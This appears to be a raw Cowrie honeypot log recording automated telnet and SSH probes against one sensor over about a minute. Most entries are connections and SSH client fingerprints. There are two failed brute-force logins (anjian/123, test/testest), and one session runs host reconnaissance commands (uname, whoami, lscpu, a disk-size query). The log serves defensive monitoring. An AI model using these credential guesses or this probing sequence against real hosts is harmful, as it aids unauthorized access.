{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55698,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b4c64d2a11b","protocol":"telnet","message":"New connection: 23.254.167.244:55698 (159.203.135.109:23) [session: 3b4c64d2a11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:51.617914Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:51.841997Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:52.345955Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:52.348746Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:52.583846Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:53.078257Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:53.080913Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:53.316726Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:53.855865Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:53.858278Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:54.096560Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:54.603467Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:54.607347Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:54.846788Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.9","message":"Connection lost after 19.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:54.851869Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53494,"dst_ip":"159.203.135.109","dst_port":23,"session":"a06f5a2b0c60","protocol":"telnet","message":"New connection: 185.26.126.47:53494 (159.203.135.109:23) [session: a06f5a2b0c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:57.525259Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59008,"dst_ip":"159.203.135.109","dst_port":23,"session":"21c9f793f4f4","protocol":"telnet","message":"New connection: 209.159.146.115:59008 (159.203.135.109:23) [session: 21c9f793f4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:58.623141Z"}
{"eventid":"cowrie.session.closed","duration":37.79665207862854,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:59.801963Z","src_ip":"185.26.126.47","session":"f458355e9a2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.35679626464844,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:59.864476Z","src_ip":"23.254.167.244","session":"caa4918ca196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52526,"dst_ip":"159.203.135.109","dst_port":23,"session":"d39babebf4cb","protocol":"telnet","message":"New connection: 209.159.146.115:52526 (159.203.135.109:23) [session: d39babebf4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:59.905500Z"}
{"eventid":"cowrie.session.closed","duration":34.57250952720642,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:01.717740Z","src_ip":"23.254.167.244","session":"d303463d4eb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60570,"dst_ip":"159.203.135.109","dst_port":23,"session":"2052dda6519c","protocol":"telnet","message":"New connection: 209.159.146.115:60570 (159.203.135.109:23) [session: 2052dda6519c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:01.937316Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47834,"dst_ip":"159.203.135.109","dst_port":23,"session":"d297c7002cc8","protocol":"telnet","message":"New connection: 23.254.167.244:47834 (159.203.135.109:23) [session: d297c7002cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:02.264512Z"}
{"eventid":"cowrie.session.closed","duration":41.84518909454346,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:04.866139Z","src_ip":"23.254.167.244","session":"68c67e8fe699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.728017807006836,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:06.728734Z","src_ip":"23.254.167.244","session":"ab1a6a77227c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.22432231903076,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:07.074440Z","src_ip":"209.159.146.115","session":"cc2ba245345f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40002,"dst_ip":"159.203.135.109","dst_port":23,"session":"f47c823cc126","protocol":"telnet","message":"New connection: 209.159.146.115:40002 (159.203.135.109:23) [session: f47c823cc126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:07.862428Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56246,"dst_ip":"159.203.135.109","dst_port":23,"session":"17b87250d6b4","protocol":"telnet","message":"New connection: 23.254.167.244:56246 (159.203.135.109:23) [session: 17b87250d6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:09.222795Z"}
{"eventid":"cowrie.session.closed","duration":36.183887243270874,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:09.712557Z","src_ip":"209.159.146.115","session":"234daf59b861","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.099984645843506,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:09.872141Z","src_ip":"23.254.167.244","session":"24d61777ee7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35746,"dst_ip":"159.203.135.109","dst_port":23,"session":"6043c56ef094","protocol":"telnet","message":"New connection: 209.159.146.115:35746 (159.203.135.109:23) [session: 6043c56ef094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:12.392736Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52074,"dst_ip":"159.203.135.109","dst_port":22,"session":"4db184d89e15","protocol":"ssh","message":"New connection: 159.203.92.129:52074 (159.203.135.109:22) [session: 4db184d89e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:13.632175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:13.674365Z","src_ip":"159.203.92.129","session":"4db184d89e15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:13.678720Z","src_ip":"159.203.92.129","session":"4db184d89e15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.75443148612976,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:13.815848Z","src_ip":"209.159.146.115","session":"7e52b3a9588f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"anjian","password":"123","message":"login attempt [anjian/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:13.849431Z","src_ip":"159.203.92.129","session":"4db184d89e15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:14.857588Z","src_ip":"159.203.92.129","session":"4db184d89e15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55124,"dst_ip":"159.203.135.109","dst_port":23,"session":"377d487482f9","protocol":"telnet","message":"New connection: 209.159.146.115:55124 (159.203.135.109:23) [session: 377d487482f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:17.160074Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40500,"dst_ip":"159.203.135.109","dst_port":23,"session":"e29204947c0e","protocol":"telnet","message":"New connection: 185.26.126.47:40500 (159.203.135.109:23) [session: e29204947c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:17.849328Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59330,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e56ef6f8e7a","protocol":"telnet","message":"New connection: 209.159.146.115:59330 (159.203.135.109:23) [session: 7e56ef6f8e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:18.004689Z"}
{"eventid":"cowrie.session.closed","duration":35.050535917282104,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:20.239393Z","src_ip":"209.159.146.115","session":"e5ee62bc59f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.478445053100586,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:21.496580Z","src_ip":"209.159.146.115","session":"b2b357da3152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49490,"dst_ip":"159.203.135.109","dst_port":23,"session":"06ee3400a1fc","protocol":"telnet","message":"New connection: 209.159.146.115:49490 (159.203.135.109:23) [session: 06ee3400a1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:22.646819Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50130,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8ededa686c9","protocol":"telnet","message":"New connection: 209.159.146.115:50130 (159.203.135.109:23) [session: f8ededa686c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:22.765471Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44254,"dst_ip":"159.203.135.109","dst_port":23,"session":"01e03cb224a4","protocol":"telnet","message":"New connection: 23.254.167.244:44254 (159.203.135.109:23) [session: 01e03cb224a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:22.790162Z"}
{"eventid":"cowrie.session.closed","duration":34.506988525390625,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:24.982533Z","src_ip":"23.254.167.244","session":"8e5968c54674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.39072847366333,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:26.008582Z","src_ip":"23.254.167.244","session":"3b4c64d2a11b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50940,"dst_ip":"159.203.135.109","dst_port":23,"session":"431d09810c52","protocol":"telnet","message":"New connection: 23.254.167.244:50940 (159.203.135.109:23) [session: 431d09810c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:28.899575Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":49102,"dst_ip":"159.203.135.109","dst_port":22,"session":"431a2dcf03f1","protocol":"ssh","message":"New connection: 157.66.34.121:49102 (159.203.135.109:22) [session: 431a2dcf03f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:32.998988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:33.004050Z","src_ip":"157.66.34.121","session":"431a2dcf03f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:33.238567Z","src_ip":"157.66.34.121","session":"431a2dcf03f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.707570552825928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:33.644735Z","src_ip":"209.159.146.115","session":"2052dda6519c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.3148033618927,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:33.839949Z","src_ip":"185.26.126.47","session":"a06f5a2b0c60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.246312856674194,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:33.869337Z","src_ip":"209.159.146.115","session":"21c9f793f4f4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"testest","message":"login attempt [test/testest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:34.209963Z","src_ip":"157.66.34.121","session":"431a2dcf03f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54260,"dst_ip":"159.203.135.109","dst_port":23,"session":"a424e4fd42c0","protocol":"telnet","message":"New connection: 23.254.167.244:54260 (159.203.135.109:23) [session: a424e4fd42c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:34.545093Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:35.447251Z","src_ip":"157.66.34.121","session":"431a2dcf03f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59026,"dst_ip":"159.203.135.109","dst_port":23,"session":"c864b51b3cf2","protocol":"telnet","message":"New connection: 23.254.167.244:59026 (159.203.135.109:23) [session: c864b51b3cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:35.965210Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59650,"dst_ip":"159.203.135.109","dst_port":23,"session":"06f4fa894a6f","protocol":"telnet","message":"New connection: 23.254.167.244:59650 (159.203.135.109:23) [session: 06f4fa894a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:36.523912Z"}
{"eventid":"cowrie.session.closed","duration":36.81062841415405,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:36.716001Z","src_ip":"209.159.146.115","session":"d39babebf4cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":58988,"dst_ip":"159.203.135.109","dst_port":23,"session":"08d172665672","protocol":"telnet","message":"New connection: 23.254.167.244:58988 (159.203.135.109:23) [session: 08d172665672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:36.923192Z"}
{"eventid":"cowrie.session.closed","duration":36.668644189834595,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:38.933027Z","src_ip":"23.254.167.244","session":"d297c7002cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.89958643913269,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:45.122248Z","src_ip":"23.254.167.244","session":"17b87250d6b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42228,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd33b5ef87ab","protocol":"telnet","message":"New connection: 23.254.167.244:42228 (159.203.135.109:23) [session: dd33b5ef87ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:45.271270Z"}
{"eventid":"cowrie.session.closed","duration":33.87712335586548,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:46.269364Z","src_ip":"209.159.146.115","session":"6043c56ef094","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.42064189910889,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:46.282966Z","src_ip":"209.159.146.115","session":"f47c823cc126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80495643615723,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:50.964861Z","src_ip":"209.159.146.115","session":"377d487482f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49834,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef6f962efbd8","protocol":"telnet","message":"New connection: 23.254.167.244:49834 (159.203.135.109:23) [session: ef6f962efbd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:51.264095Z"}
